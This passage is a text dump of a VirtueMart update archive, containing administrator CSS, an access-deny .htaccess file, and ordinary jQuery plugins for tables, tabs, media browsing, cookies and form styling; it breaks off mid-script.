#cpanel{text-align:center;vertical-align:middle;height:1%;overflow:hidden} #cpanel div.icon{margin:3px} .admin-content div.icon a { display: block; height: 93px !important; height: 95px; width: 118px !important; width: 120px; vertical-align: middle; text-decoration : none; border: none; padding: 8px 12px 6px 12px; -moz-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.25) inset, 0 1px 2px #FFFFFF; -webkit-box-shadow:rgba(0, 0, 0, 0.148438) 0 1px 2px inset, #FFFFFF 0 1px 2px; background-image: -moz-linear-gradient(100% 100% 90deg, #F8F8F8, #FFFFFF); background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#FFFFFF), to(#F1F1F1)); -webkit-border-radius: 6px; -moz-border-radius: 6px; font-size: 12px; } .adminListHeader{height:48px;background-repeat:no-repeat;text-align:left;font-size:18px;font-weight:700;padding-left:80px} .editable{background:#ffff33;cursor:pointer} .align-center{text-align:center} .vm-block{overflow:hidden} .vm-main-container{position:relative} .vm-layout-left{float:left;width:200px} .vm-layout-right{width:auto} .vm-replace-content{text-indent:-9999px;font-size:0} .vm-absolute{position:absolute} .detachselectimage,#addnewselectimage{background-repeat:no-repeat;border:1px solid #CCCCCC;cursor:pointer;display:inline;line-height:36px;margin:5px;padding:5px 5px 5px 16px} .vm_thumb_image{background:url(../images/admin_ui/toolbar_background.png) repeat-x scroll center bottom;border:1px solid #B4B4B4;border-radius:6px;display:block;float:left;height:140px;overflow:hidden;position:relative;text-align:center;vertical-align:middle;width:120px;margin:2px;padding:10px} .vm_thumb_image img{max-height:90px;max-width:110px} .vm_mini_image{max-height:50px;max-width:80px;vertical-align:middle} .vm__img_autocrop{display:block;max-height:400px;overflow:auto;position:relative;text-align:center} .custom_related_title,.custom_related_image{display:block;clear:both} .remove{cursor:pointer} .vm-order_comment{display:block;position:absolute;z-index:1;width:200px;margin:-20px} #fancybox-left-ico{left:20px} #fancybox-right-ico{right:20px;left:auto} .edit-24-grey{background-image:url(../images/edit-24-grey.png);background-position:center center;background-repeat:no-repeat;border:1px solid #CCCCCC;border-radius:4px;display:inline;height:24px;right:0;position:absolute;bottom:2px;width:24px;cursor:pointer;margin:2px 0 0 2px} .removable{border-radius:6px 6px 6px 6px;border:1px solid #CCCCCC;padding:2px} #new_stockable_product{border:1px solid #CCCCCC;cursor:pointer;padding:2px} div.threecols ul li{background:none repeat scroll 0 0 transparent;display:inline-block;min-height:10px;vertical-align:top;width:32%;padding:0} div.threecols ul{margin:0;padding:0} .hasTip:after{ font:12px/1.4 Arial,Georgia,sans-serif; content: attr(title); display:none; position:absolute; padding:5px 10px; top:0px; margin:1em 0 3em; color:#fff; background:#075698; left:-20px; -moz-border-radius:4px; -webkit-border-radius:4px; border-radius:4px; background:-webkit-gradient(linear, left top, left bottom, from(#075698), to(#2e88c4)); background:-moz-linear-gradient(top, #075698, #2e88c4); background:-o-linear-gradient(top, #075698, #2e88c4); background:linear-gradient(top, #075698, #2e88c4); -moz-box-shadow: 0px 0px 4px #000; /* FF3.5+ */ -webkit-box-shadow: 0px 0px 4px #000; /* Saf3.0+, Chrome */ box-shadow: 0px 0px 4px #000; /* Opera 10.5, IE 9.0 */ filter: progid:DXImageTransform.Microsoft.dropshadow(OffX=0px, OffY=0px, Color='#000'); /* IE6,IE7 */ -ms-filter: "progid:DXImageTransform.Microsoft.dropshadow(OffX=0px, OffY=0px, Color='#000')"; /* IE8 */ } .media-pagination span{padding:6px; margin-left: 2px; border:solid 1px #075698; -moz-border-radius:6px; -webkit-border-radius:6px; border-radius:6px; } .media-pagination span:hover,.media-pagination span.media-page-selected{background:#CAC9C9;cursor:pointer} .element-hidden{display:none} .datepicker{text-align:center;width:70px} a.fg-button,.always-left{float:left!important} .fg-button{cursor:pointer;outline:0 none;position:relative;text-align:center;text-decoration:none!important;margin:0 4px 0 0;padding:0} #searchMedia{margin:0;padding:0} .stock-out{background-color:#f9a7aa!important;color:black} .stock-low{background-color:#F7B77B!important;color:black} .stock-normal{background-color:#F0F9D0!important;color:black} table.adminlist td.order{width:100px!important} ol.logline {margin: 15px 0;padding: 0 0 0 20px;background: #F7F7F7; border: 1px solid #CCC;} ol.logline li {margin: 0 0 0 20px;padding: 5px 10px 5px 10px;list-style: decimal-leading-zero;word-wrap: break-word;border-left: 1px solid #CCC;background: #FFF;}PKsl>\HȆR#R#Xcom_virtuemart_update/administrator/components/com_virtuemart/assets/css/jqtransform.cssnuW+Aform.jqtransformdone label{ margin-top:4px; margin-right: 8px; display: block; float:left; } form.jqtransformdone div.rowElem{ clear:both; padding:4px 0px; } /* ------------- * Buttons * ------------- */ button.jqTransformButton { margin: 0px; padding: 0px; border: none; background-color: transparent; cursor: pointer; overflow: visible; font-family: Arial; } *:first-child+html button.jqTransformButton[type]{width: 1;} /* IE7 */ button.jqTransformButton span { background: transparent url(../images/jtransform/btn_right.gif) no-repeat right top; display: block; float: left; padding: 0px 4px 0px 0px; /* sliding doors padding */ margin: 0px; height: 33px; } button.jqTransformButton span span { background: transparent url(../images/jtransform/btn_left.gif) no-repeat top left; color: #333; padding: 8px 4px 0px 8px; font-weight: normal; font-size: 12px; line-height: 13px; display: block; text-decoration: none; height: 33px; } /*hover*/ button.jqTransformButton_hover span span { background-position: left -33px ; } button.jqTransformButton_hover span { background-position: right -33px ; } /*clicked*/ button.jqTransformButton_click span span { background-position: left -66px ; } button.jqTransformButton_click span { background-position: right -66px ; } /* IE 6 */ * html button.jqTransformButton { height:33px; } * button.jqTransformButton span span { height: 25px; } /* IE 7 */ *+ html button.jqTransformButton { height:33px; } *+ button.jqTransformButton span span { height: 25px; } /* ------------- * Inputs * ------------- */ .jqTransformInputWrapper { background: transparent url(../images/jtransform/input/input_text_left.gif) no-repeat left top; height: 31px; padding: 0px; float:left; } .jqTransformInputInner { background: transparent url(../images/jtransform/input/input_text_right.gif) no-repeat top right; padding: 0px; margin: 0px; } .jqTransformInputInner div { height: 31px; margin:0px 0px 0px 8px; } .jqTransformInputInner div input { font-family:Arial, Helvetica, sans-serif; font-size:12px; line-height: 18px; vertical-align: middle; height: 31px; color:#404040; border: none; padding: 8px 0px 0px 0px; margin: 0px; background:transparent; } /* IE6 */ * html .jqTransformInputInner div input { padding: 6px 0 0 0; margin: 0 0 0 -8px; height:24px; } /* Ie7 */ *+ html .jqTransformInputInner div input { padding: 6px 0 0 0; margin-left:-10px; height:24px; } /*hover*/ .jqTransformInputWrapper_hover{ background-position: left -31px ;} .jqTransformInputWrapper_hover div.jqTransformInputInner{ background-position: right -31px ;} /*focus*/ .jqTransformInputWrapper_focus{ background-position: left -62px ;} .jqTransformInputWrapper_focus div.jqTransformInputInner{ background-position: right -62px ;} .jqTransformSafari .jqTransformInputInner div { position: relative; overflow: hidden; margin:0px 8px; } .jqTransformSafari .jqTransformInputInner div input { background-color: none; position: absolute; top: -10px; left: -2px; height: 42px; padding-left: 4px; } /* ------------- * Textarea * ------------- */ table.jqTransformTextarea td#jqTransformTextarea-mm textarea{ font-size: 12px; line-height: 16px; } table.jqTransformTextarea td{ font-size: 1px; line-height: 1px; width: 5px; height: 5px; margin: 0; padding: 0; } table.jqTransformTextarea{} table.jqTransformTextarea tr{ /*border: 1px solid red;*/ } table.jqTransformTextarea textarea{ margin: 0; padding: 0; border: 0; background: none; } table.jqTransformTextarea td#jqTransformTextarea-tl{background: url(../images/jtransform/textarea/textarea_tl.gif) no-repeat top left;} table.jqTransformTextarea td#jqTransformTextarea-tm{background: url(../images/jtransform/textarea/textarea_tm.gif) repeat-x top left;} table.jqTransformTextarea td#jqTransformTextarea-tr{background: url(../images/jtransform/textarea/textarea_tr.gif) no-repeat top left;} table.jqTransformTextarea td#jqTransformTextarea-ml{background: url(../images/jtransform/textarea/textarea_ml.gif) repeat-y top left;} table.jqTransformTextarea td#jqTransformTextarea-mm{background: url(../images/jtransform/textarea/textarea-mm.gif) repeat;} table.jqTransformTextarea td#jqTransformTextarea-mr{background: url(../images/jtransform/textarea/textarea_mr.gif) repeat-y top left;} table.jqTransformTextarea td#jqTransformTextarea-bl{background: url(../images/jtransform/textarea/textarea_bl.gif) no-repeat top left;} table.jqTransformTextarea td#jqTransformTextarea-bm{background: url(../images/jtransform/textarea/textarea_bm.gif) repeat-x top left;} table.jqTransformTextarea td#jqTransformTextarea-br{background: url(../images/jtransform/textarea/textarea_br.gif) no-repeat top left;} /*hover*/ table.jqTransformTextarea-hover td#jqTransformTextarea-tl{background-position:0px -5px;} table.jqTransformTextarea-hover td#jqTransformTextarea-tm{background-position:0px -5px;} table.jqTransformTextarea-hover td#jqTransformTextarea-tr{background-position:0px -5px;} table.jqTransformTextarea-hover td#jqTransformTextarea-ml{background-position:-5px 0px;} table.jqTransformTextarea-hover td#jqTransformTextarea-mm{background-image: url(../images/jtransform/textarea/textarea-mm-hover.gif);} table.jqTransformTextarea-hover td#jqTransformTextarea-mr{background-position:-5px 0px;} table.jqTransformTextarea-hover td#jqTransformTextarea-bl{background-position:0px -5px;} table.jqTransformTextarea-hover td#jqTransformTextarea-bm{background-position:0px -5px;} table.jqTransformTextarea-hover td#jqTransformTextarea-br{background-position:0px -5px;} /*focus*/ table.jqTransformTextarea-focus td#jqTransformTextarea-tl{background-position:0px -10px;} table.jqTransformTextarea-focus td#jqTransformTextarea-tm{background-position:0px -10px;} table.jqTransformTextarea-focus td#jqTransformTextarea-tr{background-position:0px -10px;} table.jqTransformTextarea-focus td#jqTransformTextarea-ml{background-position:-10px 0px;} table.jqTransformTextarea-focus td#jqTransformTextarea-mm{background-image: url(../images/jtransform/textarea/textarea-mm-focus.gif);} table.jqTransformTextarea-focus td#jqTransformTextarea-mr{background-position: -10px 0px;} table.jqTransformTextarea-focus td#jqTransformTextarea-bl{background-position:0px -10px;} table.jqTransformTextarea-focus td#jqTransformTextarea-bm{background-position:0px -10px;} table.jqTransformTextarea-focus td#jqTransformTextarea-br{background-position:0px -10px;} table.jqTransformTextarea .jqTransformSafariTextarea div { position: relative; overflow: hidden; border: 0px solid red; } table.jqTransformTextarea .jqTransformSafariTextarea textarea{ background: none; position: absolute; top:-10px; left:-10px; padding: 10px 10px 10px 10px; resize: none; } /* ------------- * Radios * ------------- */ .jqTransformRadioWrapper {float: left;display:block;margin:0px 4px; margin-top:5px;} .jqTransformRadio { background: transparent url(../images/jtransform/radio.gif) no-repeat center top; vertical-align: middle; height: 19px; width: 18px; display:block;/*display: -moz-inline-block;*/ } /* ------------- * Checkboxes * ------------- */ span.jqTransformCheckboxWrapper{ display:block;float:left; margin-top:5px; } a.jqTransformCheckbox { background: transparent url(../images/jtransform/checkbox.gif) no-repeat center top; vertical-align: middle; height: 19px; width: 18px; display:block;/*display: -moz-inline-block;*/ } /* ------------- * Checked - Used for both Radio and Checkbox * ------------- */ a.jqTransformChecked { background-position: center bottom;} /* ------------- * Selects * ------------- */ .jqTransformSelectWrapper { width: 45px; position:relative; height: 31px; background: url(../images/jtransform/select_left.gif) no-repeat top left; float:left; } .jqTransformSelectWrapper div span { font-size: 12px; float: none; position: absolute; white-space: nowrap; height: 31px; line-height: 15px; padding: 8px 0 0 7px; overflow: hidden; cursor:pointer; /*border: 1px solid #CCCCCC;*/ /* border-right: none;*/ } .jqTransformSelectWrapper a.jqTransformSelectOpen { display: block; position: absolute; right: 0px; width: 31px; height: 31px; background: url(../images/jtransform/select_right.gif) no-repeat center center; } .jqTransformSelectWrapper ul { position: absolute; width: 43px; top: 30px; left: 0px; list-style: none; background-color: #FFF; border: solid 1px #CCC; display: none; margin: 0px; padding: 0px; height: 150px; overflow: auto; overflow-y: auto; z-index:10; } .jqTransformSelectWrapper ul a { display: block; padding: 5px; text-decoration: none; color:#333; background-color: #FFF; font-size: 12px; } .jqTransformSelectWrapper ul a.selected { background: #EDEDED; color: #333; } .jqTransformSelectWrapper ul a:hover, .jqTransformSelectWrapper ul a.selected:hover { background:#3582c4; color: #fff; } /* ------------- * Hidden - used to hide the original form elements * ------------- */ .jqTransformHidden {display: none;}PKsl>\)Rcom_virtuemart_update/administrator/components/com_virtuemart/assets/css/.htaccessnuW+A Order allow,deny Deny from all PKsl>\Scom_virtuemart_update/administrator/components/com_virtuemart/assets/css/index.htmlnuW+APKsl>\Tq#\com_virtuemart_update/administrator/components/com_virtuemart/assets/js/jquery.noConflict.jsnuW+AjQuery.noConflict();PKsl>\QzaaScom_virtuemart_update/administrator/components/com_virtuemart/assets/js/vm2admin.jsnuW+A// based on http://www.seomoves.org/blog/web-design-development/dynotable-a-jquery-plugin-by-bob-tantlinger-2683/ (function ($) { $.fn.extend({ dynoTable:function (options) { var defaults = { removeClass:'.row-remover', cloneClass:'.row-cloner', addRowTemplateId:'#add-template', addRowButtonId:'#add-row', lastRowRemovable:true, orderable:true, dragHandleClass:".drag-handle", insertFadeSpeed:"slow", removeFadeSpeed:"fast", hideTableOnEmpty:true, onRowRemove:function () { }, onRowClone:function () { }, onRowAdd:function () { }, onTableEmpty:function () { }, onRowReorder:function () { } }; options = $.extend(defaults, options); var cloneRow = function (btn) { var clonedRow = $(btn).closest('tr').clone(); var tbod = $(btn).closest('tbody'); insertRow(clonedRow, tbod); options.onRowClone(); } var insertRow = function (clonedRow, tbod) { var numRows = $(tbod).children("tr").length; if (options.hideTableOnEmpty && numRows == 0) { $(tbod).parents("table").first().show(); } $(clonedRow).find('*').andSelf().filter('[id]').each(function () { //change to something else so we don't have ids with the same name // this.id += "_" + numRows; }); //finally append new row to end of table $(tbod).append(clonedRow); bindActions(clonedRow); $(tbod).children("tr:last").hide().fadeIn(options.insertFadeSpeed); } var removeRow = function (btn) { var tbod = $(btn).parents("tbody:first"); var numRows = $(tbod).children("tr").length; if (numRows > 1 || options.lastRowRemovable === true) { var trToRemove = $(btn).parents("tr:first"); $(trToRemove).fadeOut(options.removeFadeSpeed, function () { $(trToRemove).remove(); options.onRowRemove(); if (numRows == 1) { if (options.hideTableOnEmpty) { $(tbod).parents('table').first().hide(); } // we want to remove the class remove $().removeClass("vmicon-16-remove"); options.onTableEmpty(); } }); } } var bindClick = function (elem, fn) { $(elem).click(fn); } var bindCloneLink = function (lnk) { bindClick(lnk, function () { var btn = $(this); cloneRow(btn); return false; }); } var bindRemoveLink = function (lnk) { bindClick(lnk, function () { var btn = $(this); removeRow(btn); return false; }); } var bindActions = function (obj) { obj.find(options.removeClass).each(function () { bindRemoveLink($(this)); }); obj.find(options.cloneClass).each(function () { bindCloneLink($(this)); }); } return this.each(function () { //Sanity check to make sure we are dealing with a single case if (this.nodeName.toLowerCase() == 'table') { var table = $(this); var tbody = $(table).children("tbody").first(); if (options.orderable && jQuery().sortable) { $(tbody).sortable({ handle:options.dragHandleClass, helper:function (e, ui) { ui.children().each(function () { $(this).width($(this).width()); }); return ui; }, items:"tr", update:function (event, ui) { options.onRowReorder(); } }); } $(table).find(options.addRowTemplateId).each(function () { $(this).removeAttr("id"); var tmpl = $(this); tmpl.remove(); bindClick($(options.addRowButtonId), function () { //options.onBeforeRowAdd(); var newTr = tmpl.clone(); insertRow(newTr, tbody); options.onRowAdd(); return false; }); }); bindActions(table); var numRows = $(tbody).children("tr").length; if (options.hideTableOnEmpty && numRows == 0) { $(table).hide(); } } }); } }); })(jQuery); (function ($) { var methods = { tabs:function (cookie) { var tabscount = this.find('div.tabs').length; if ($.cookie(cookie) == null || cookie == "product0" || tabscount == 1) var idx = 0; else var idx = $.cookie(cookie); if (idx == null) idx = 0; var options = { path:'/', expires:2}, list = '
      '; var tabswidth = 100 / tabscount; this.find('div.tabs').each( function (i) { list += '
    • ' + $(this).attr('title') + '
    • '; $(this).removeAttr('title'); } ); this.prepend(list + '
    '); this.children('div').hide(); // select & open menu var li = $('#tabs li'), div = this.children('div'); li.eq(idx).addClass('current'); div.eq(idx).slideDown(1000); li.click( function () { if ($(this).not(".current")) { var idx = li.index(this); oldIndex = $(this).addClass("current").siblings('li.current').removeClass("current").index(); if (oldIndex !== -1) { if (cookie !== "") $.cookie(cookie, idx, options); div.eq(idx).slideDown(0); div.eq(oldIndex).slideUp(0); } } } ); return this; }, accordeon:function () { var idx = $.cookie('accordeon'), options = { path:'/', expires:2}, div = this.children('div') , h3 = this.children('h3'), A = this.find('.menu-list a'); if (idx == null) idx = 0; div.hide(); h3.eq(idx).addClass('current'); div.eq(idx).show(); h3.click( function () { var menu = $(this); if (menu.not(".current")) { menu.siblings('h3.current').removeClass("current").next().slideUp(200); menu.addClass("current").next().slideDown(200); $.cookie('accordeon', h3.index(this), options); } } ); A.click( function () { $.cookie('vmapply', '0', options); } ); }, media:function (mediatype, total) { var page = 0, max = 24, container = jQuery(this); var pagetotal = Math.ceil(total / max); var cache = new Array(); var formatTitle = function (title, currentArray, currentIndex, currentOpts) { var pagination = '' , pagetotal = total / max; if (pagetotal > 0) { pagination = '<<<'; for (i = 0; i < pagetotal; i++) { pagination += '' + (i + 1) + ''; } pagination += '>>>'; } return '
    ' + (title && title.length ? '' + title + '' : '' ) + ' ' + pagination + '
    '; } jQuery("#fancybox-title").delegate(".media-pagination span", "click", function (event) { var newPage = $(this).text(); display(newPage); event.preventDefault(); }); container.delegate("a.vm_thumb", "click", function (event) { jQuery.fancybox({ "type":"image", "titlePosition":"inside", "title":this.title, "href":this.href }); event.preventDefault(); }); jQuery("#media-dialog").delegate(".vm_thumb_image", "click", function (event) { event.preventDefault(); var id = $(this).find('input').val(), ok = 0; var inputArray = new Array(); $('#ImagesContainer input:hidden').each( function () { inputArray.push($(this).val()) } ); if ($.inArray(id, inputArray) == -1) { that = jQuery(this); jQuery(this).clone().appendTo(container).unbind("click").append('
    '); that.hide().fadeIn(); } }); jQuery("#admin-ui-tabs").delegate("div.vmicon-16-remove", "click", function () { jQuery(this).closest(".vm_thumb_image").fadeOut("500", function () { jQuery(this).remove(); }); }); jQuery("#admin-ui-tabs").delegate("span.vmicon-16-remove", "click", function () { jQuery(this).closest(".removable").fadeOut("500", function () { jQuery(this).remove() }); }); jQuery("#addnewselectimage2").fancybox({ "hideOnContentClick":false, "autoDimensions":true, "titlePosition":"inside", "title":"Media list", "titleFormat":formatTitle, "onComplete":function () { $('.media-pagination').children().eq(page + 3).addClass('media-page-selected'); } }); container.delegate(".edit-24-grey", "click", function () { var data = jQuery(this).parent().find("input").val(); jQuery.getJSON("index.php?option=com_virtuemart&view=media&task=viewJson&format=json&virtuemart_media_id=" + data, function (datas, textStatus) { if (datas.msg == "OK") { jQuery("#vm_display_image").attr("src", datas.file_root + datas.file_url); jQuery("#vm_display_image").attr("alt", datas.file_title); jQuery("#file_title").html(datas.file_title); var lang = datas.file_lang.split(','); jQuery("#vmlangimg").val(lang).trigger("liszt:updated"); if (datas.published == 1) jQuery("#adminForm [name=media_published]").attr('checked', true); else jQuery("#adminForm [name=media_published]").attr('checked', false); if (datas.file_is_downloadable == 0) { jQuery("#media_rolesfile_is_displayable").attr('checked', true); //jQuery("#adminForm [name=media_roles]").filter("value='file_is_downloadable'").attr('checked', false); } else { //jQuery("#adminForm [name=media_roles]").filter("value='file_is_displayable'").attr('checked', false); jQuery("#media_rolesfile_is_downloadable").attr('checked', true); } jQuery("#adminForm [name=file_title]").val(datas.file_title); jQuery("#adminForm [name=file_description]").val(datas.file_description); jQuery("#adminForm [name=file_meta]").val(datas.file_meta); jQuery("#adminForm [name=file_url]").val(datas.file_url); jQuery("#adminForm [name=file_url_thumb]").val(datas.file_url_thumb); jQuery("[name=active_media_id]").val(datas.virtuemart_media_id); if (datas.file_url_thumb !== "undefined") { jQuery("#vm_thumb_image").attr("src", datas.file_root + datas.file_url_thumb); } else { jQuery("#vm_thumb_image").attr("src", ""); } } else jQuery("#file_title").html(datas.msg); }); }); var display = function (num) { if (typeof this.page == "undefined") { this.oldPage = this.page = 0; } if (typeof display.cache == "undefined") { display.cache = new Array(); } switch (num) { case '<': if (this.page > 0) --this.page; else return; break; case '>': if (this.page < pagetotal - 1) ++this.page; else return; break; case '<<': this.page = 0; break; case '>>': this.page = pagetotal - 1; break; default : this.page = num - 1; break; } if (this.oldPage != this.page) { //var cache = this.cache ; var start = this.page; if (typeof display.cache[start] == "undefined") { jQuery.getJSON("index.php?option=com_virtuemart&view=media&task=viewJson&format=json&mediatype=" + mediatype + "&start=" + start, function (data) { if (data.imageList != "ERROR") { display.cache[start] = data.imageList; jQuery("#media-dialog").html(display.cache[start]); jQuery(".page").text("Page(s) " + (start + 1)); } else { jQuery(".page").text("No more results : Page(s) " + (start + 1)); } } ); } else jQuery("#media-dialog").html(display.cache[start]); page = this.oldPage = this.page; $('.media-pagination').children().removeClass('media-page-selected'); $('.media-pagination').children().eq(start + 3).addClass('media-page-selected'); } } }, tips:function (image) { var xOffset = -20; // x distance from mouse var yOffset = 10; // y distance from mouse tip = this; tip.unbind().hover( function (e) { tip.t = this.title; this.title = ''; tip.top = (e.pageY + yOffset); tip.left = (e.pageX + xOffset); $('body').append('

    ' + $(this).html() + '
    ' + tip.t + '

    '); $('#vtip #vtipArrow').attr("src", image); $('#vtip').css("top", tip.top + "px").css("left", tip.left + "px").fadeIn("slow"); }, function () { this.title = tip.t; $("#vtip").fadeOut("slow").remove(); } ).mousemove( function (e) { tip.top = (e.pageY + yOffset); tip.left = (e.pageX + xOffset); $("#vtip").css("top", tip.top + "px").css("left", tip.left + "px"); } ).mousedown( function (e) { this.title = tip.t; $("#vtip").fadeOut("slow").remove(); } ).mouseup( function (e) { this.title = tip.t; $("#vtip").fadeOut("slow").remove(); } ); }, toggle:function () { var options = { path:'/', expires:2}; if ($.cookie('vmmenu')) { var status = $.cookie('vmmenu'); if (status == 'hide') { this.removeClass('vmicon-show').addClass('vmicon-hide'); $('.menu-wrapper').toggle('slide'); } } this.click(function () { $this = $(this); if ($this.hasClass('vmicon-show')) { $this.removeClass('vmicon-show').addClass('vmicon-hide'); $('.menu-wrapper').toggle('slide'); $.cookie('vmmenu', 'hide', options); } else { $this.removeClass('vmicon-hide').addClass('vmicon-show'); $('.menu-wrapper').toggle('slide'); $.cookie('vmmenu', 'show', options); } }); }, yydynoTable:function (options) { var defaults = { removeClass:'.row-remover', cloneClass:'.row-cloner', addRowTemplateId:'#add-template', addRowButtonId:'#add-row', lastRowRemovable:true, orderable:true, dragHandleClass:".drag-handle", insertFadeSpeed:"slow", removeFadeSpeed:"fast", hideTableOnEmpty:true, onRowRemove:function () { }, onRowClone:function () { }, onRowAdd:function () { }, onTableEmpty:function () { }, onRowReorder:function () { } }; options = $.extend(defaults, options); var cloneRow = function (btn) { var clonedRow = $(btn).closest('tr').clone(); var tbod = $(btn).closest('tbody'); insertRow(clonedRow, tbod); options.onRowClone(); } var insertRow = function (clonedRow, tbod) { var numRows = $(tbod).children("tr").length; if (options.hideTableOnEmpty && numRows == 0) { $(tbod).parents("table").first().show(); } $(clonedRow).find('*').andSelf().filter('[id]').each(function () { //change to something else so we don't have ids with the same name // this.id += "_" + numRows; }); //finally append new row to end of table $(tbod).append(clonedRow); bindActions(clonedRow); $(tbod).children("tr:last").hide().fadeIn(options.insertFadeSpeed); } var removeRow = function (btn) { var tbod = $(btn).parents("tbody:first"); var numRows = $(tbod).children("tr").length; if (numRows > 1 || options.lastRowRemovable === true) { var trToRemove = $(btn).parents("tr:first"); $(trToRemove).fadeOut(options.removeFadeSpeed, function () { $(trToRemove).remove(); options.onRowRemove(); if (numRows == 1) { if (options.hideTableOnEmpty) { $(tbod).parents('table').first().hide(); } // we want to remove the class remove $(".price-remove > span").removeClass("vmicon-16-price-remove"); options.onTableEmpty(); } }); } } var bindClick = function (elem, fn) { $(elem).click(fn); } var bindCloneLink = function (lnk) { bindClick(lnk, function () { var btn = $(this); cloneRow(btn); return false; }); } var bindRemoveLink = function (lnk) { bindClick(lnk, function () { var btn = $(this); removeRow(btn); return false; }); } var bindActions = function (obj) { obj.find(options.removeClass).each(function () { bindRemoveLink($(this)); }); obj.find(options.cloneClass).each(function () { bindCloneLink($(this)); }); } return this.each(function () { //Sanity check to make sure we are dealing with a single case if (this.nodeName.toLowerCase() == 'table') { var table = $(this); var tbody = $(table).children("tbody").first(); if (options.orderable && jQuery().sortable) { $(tbody).sortable({ handle:options.dragHandleClass, helper:function (e, ui) { ui.children().each(function () { $(this).width($(this).width()); }); return ui; }, items:"tr", update:function (event, ui) { options.onRowReorder(); } }); } $(table).find(options.addRowTemplateId).each(function () { $(this).removeAttr("id"); var tmpl = $(this); tmpl.remove(); bindClick($(options.addRowButtonId), function () { //options.onRowAdd(); var newTr = tmpl.clone(); insertRow(newTr, tbody); options.onRowAdd(); return false; }); }); bindActions(table); var numRows = $(tbody).children("tr").length; if (options.hideTableOnEmpty && numRows == 0) { $(table).hide(); } } }); } }; $.fn.vm2admin = function (method) { if (methods[method]) { return methods[method].apply(this, Array.prototype.slice.call(arguments, 1)); } else if (typeof method === 'object' || !method) { return methods.init.apply(this, arguments); } else { $.error('Method ' + method + ' does not exist on Vm2 admin jQuery library'); } }; })(jQuery); // load defaut scripts jQuery.noConflict(); PKsl>\ElRcom_virtuemart_update/administrator/components/com_virtuemart/assets/js/index.htmlnuW+A PKsl>\M3''fcom_virtuemart_update/administrator/components/com_virtuemart/assets/js/jquery.ui.autocomplete.html.jsnuW+A/* * jQuery UI Autocomplete HTML Extension * * Copyright 2010, Scott González (http://scottgonzalez.com) * Dual licensed under the MIT or GPL Version 2 licenses. * * http://github.com/scottgonzalez/jquery-ui-extensions */ (function( $ ) { var proto = $.ui.autocomplete.prototype, initSource = proto._initSource; function filter( array, term ) { var matcher = new RegExp( $.ui.autocomplete.escapeRegex(term), "i" ); return $.grep( array, function(value) { return matcher.test( $( "
    " ).html( value.label || value.value || value ).text() ); }); } $.extend( proto, { _initSource: function() { if ( this.options.html && $.isArray(this.options.source) ) { this.source = function( request, response ) { response( filter( this.options.source, request.term ) ); }; } else { initSource.call( this ); } }, _renderItem: function( ul, item) { return $( "
  • " ) .data( "item.autocomplete", item ) .append( $( "" )[ this.options.html ? "html" : "text" ]( item.label ) ) .appendTo( ul ); } }); })( jQuery ); PKsl>\sYcom_virtuemart_update/administrator/components/com_virtuemart/assets/js/jquery.coookie.jsnuW+A/** * jQuery Cookie plugin * * Copyright (c) 2010 Klaus Hartl (stilbuero.de) * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html * */ jQuery.cookie = function (key, value, options) { // key and at least value given, set cookie... if (arguments.length > 1 && String(value) !== "[object Object]") { options = jQuery.extend({}, options); if (value === null || value === undefined) { options.expires = -1; } if (typeof options.expires === 'number') { var days = options.expires, t = options.expires = new Date(); t.setDate(t.getDate() + days); } value = String(value); return (document.cookie = [ encodeURIComponent(key), '=', options.raw ? value : encodeURIComponent(value), options.expires ? '; expires=' + options.expires.toUTCString() : '', // use expires attribute, max-age is not supported by IE options.path ? '; path=' + options.path : '', options.domain ? '; domain=' + options.domain : '', options.secure ? '; secure' : '' ].join('')); } // key and possibly options given, get cookie... options = value || {}; var result, decode = options.raw ? function (s) { return s; } : decodeURIComponent; return (result = new RegExp('(?:^|; )' + encodeURIComponent(key) + '=([^;]*)').exec(document.cookie)) ? decode(result[1]) : null; }; PKsl>\ ׶88]com_virtuemart_update/administrator/components/com_virtuemart/assets/js/jquery.jqtransform.jsnuW+A/* * * jqTransform * by mathieu vilaplana mvilaplana@dfc-e.com * Designer ghyslain armand garmand@dfc-e.com * * * Version 1.0 25.09.08 * Version 1.1 06.08.09 * Add event click on Checkbox and Radio * Auto calculate the size of a select element * Can now, disabled the elements * Correct bug in ff if click on select (overflow=hidden) * No need any more preloading !! * ******************************************** */ (function(jQuery){ var defaultOptions = {preloadImg:true}; var jqTransformImgPreloaded = false; var jqTransformPreloadHoverFocusImg = function(strImgUrl) { //guillemets to remove for ie strImgUrl = strImgUrl.replace(/^url\((.*)\)/,'jQuery1').replace(/^\"(.*)\"jQuery/,'jQuery1'); var imgHover = new Image(); imgHover.src = strImgUrl.replace(/\.([a-zA-Z]*)jQuery/,'-hover.jQuery1'); var imgFocus = new Image(); imgFocus.src = strImgUrl.replace(/\.([a-zA-Z]*)jQuery/,'-focus.jQuery1'); }; /*************************** Labels ***************************/ var jqTransformGetLabel = function(objfield){ var selfForm = jQuery(objfield.get(0).form); var oLabel = objfield.next(); if(!oLabel.is('label')) { oLabel = objfield.prev(); if(oLabel.is('label')){ var inputname = objfield.attr('id'); if(inputname){ oLabel = selfForm.find('label[for="'+inputname+'"]'); } } } if(oLabel.is('label')){return oLabel.css('cursor','pointer');} return false; }; /* Hide all open selects */ var jqTransformHideSelect = function(oTarget){ var ulVisible = jQuery('.jqTransformSelectWrapper ul:visible'); ulVisible.each(function(){ var oSelect = jQuery(this).parents(".jqTransformSelectWrapper:first").find("select").get(0); //do not hide if click on the label object associated to the select if( !(oTarget && oSelect.oLabel && oSelect.oLabel.get(0) == oTarget.get(0)) ){jQuery(this).hide();} }); }; /* Check for an external click */ var jqTransformCheckExternalClick = function(event) { if (jQuery(event.target).parents('.jqTransformSelectWrapper').length === 0) { jqTransformHideSelect(jQuery(event.target)); } }; /* Apply document listener */ var jqTransformAddDocumentListener = function (){ jQuery(document).mousedown(jqTransformCheckExternalClick); }; /* Add a new handler for the reset action */ var jqTransformReset = function(f){ var sel; jQuery('.jqTransformSelectWrapper select', f).each(function(){sel = (this.selectedIndex<0) ? 0 : this.selectedIndex; jQuery('ul', jQuery(this).parent()).each(function(){jQuery('a:eq('+ sel +')', this).click();});}); jQuery('a.jqTransformCheckbox, a.jqTransformRadio', f).removeClass('jqTransformChecked'); jQuery('input:checkbox, input:radio', f).each(function(){if(this.checked){jQuery('a', jQuery(this).parent()).addClass('jqTransformChecked');}}); }; /*************************** Buttons ***************************/ jQuery.fn.jqTransInputButton = function(){ return this.each(function(){ var newBtn = 